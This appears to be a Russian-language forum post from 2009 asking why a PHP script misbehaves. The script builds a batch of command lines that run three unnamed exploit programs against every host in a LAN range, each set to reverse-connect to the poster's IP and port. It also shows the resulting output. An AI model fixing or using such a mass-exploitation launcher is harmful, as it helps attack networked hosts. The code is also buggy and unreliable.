
08.12.2009, 10:15
|
|
Участник форума
Регистрация: 04.10.2008
Сообщений: 154
С нами:
9264144
Репутация:
7
|
|
PHP код:
<?
$p0 = '0'; //Параметр 0
$p1 = '1'; //Параметр 1
$p2 = '2'; //Параметр 2
$start = $HTTP_POST_VARS['ip']; //конечный ип 1 например "18"
$end = $HTTP_POST_VARS['ip3']; //конечный ип 2 например "40"
$ip = $HTTP_POST_VARS['lan']; //вся сеть например "192.168.1."
$myip = $HTTP_POST_VARS['myip']; //Ип адресс для обратного конекта
$port = $HTTP_POST_VARS['port']; //Порт на который будет произведен конект
$ex = $HTTP_POST_VARS['ex']; //название експлоита 0
$ex1 = $HTTP_POST_VARS['ex1']; //название експлоита 1
$ex2 = $HTTP_POST_VARS['ex2']; //название експлоита 2
$file = $HTTP_POST_VARS['file']; //Путь до файла
$probel = " ";
$send = "
";
$fh = fopen($file, "a+"); //Открытие файла
//------------------ Первый сплоит ------------
for($i=$start;$i<$end;$i++)
//Строка 1
$content = $ex.$probel.$p0.$probel.$ip.$i.$probel.$port.$probel.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 2
$content = $ex.$probel.$p1.$probel.$ip.$i.$probel.$port.$probel.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 3
$content = $ex.$probel.$p2.$probel.$ip.$i.$probel.$port.$probel.$myip.$send.$send;
$ok = fwrite($fh, $content);
//------------------ Второй сплоит ------------
//Строка 1
$content = $ex1.$probel.$p0.$probel.$ip.$i.$probel.$port.$probel.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 2
$content = $ex1.$probel.$p1.$probel.$ip.$i.$probel.$port.$probel.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 3
$content = $ex1.$probel.$p2.$probel.$ip.$i.$probel.$port.$probel.$myip.$send.$send;
$ok = fwrite($fh, $content);
//------------------ Третий сплоит ------------
//Строка 1
$content = $ex2.$probel.$p0.$probel.$ip.$i.$probel.$port.$probel.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 2
$content = $ex2.$probel.$p1.$probel.$ip.$i.$probel.$port.$probel.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 3
$content = $ex2.$probel.$p2.$probel.$ip.$i.$probel.$port.$probel.$myip.$send.$send;
$ok = fwrite($fh, $content);
{
$array[$i] = $i;
}
?>
вывод получается не полностью
получается только
Код:
ex.exe 0 192.168.1.4 40 192.168.1.2
ex.exe 1 192.168.1.5 40 192.168.1.2
ex.exe 2 192.168.1.5 40 192.168.1.2
ex1.exe 0 192.168.1.5 40 192.168.1.2
ex1.exe 1 192.168.1.5 40 192.168.1.2
ex1.exe 2 192.168.1.5 40 192.168.1.2
ex2.exe 0 192.168.1.5 40 192.168.1.2
ex2.exe 1 192.168.1.5 40 192.168.1.2
ex2.exe 2 192.168.1.5 40 192.168.1.2
т.е. видно только последние параметры диапазона
4ку в одной строке и 5ку в остальных
че я опять сделал не так?)))
|
|
|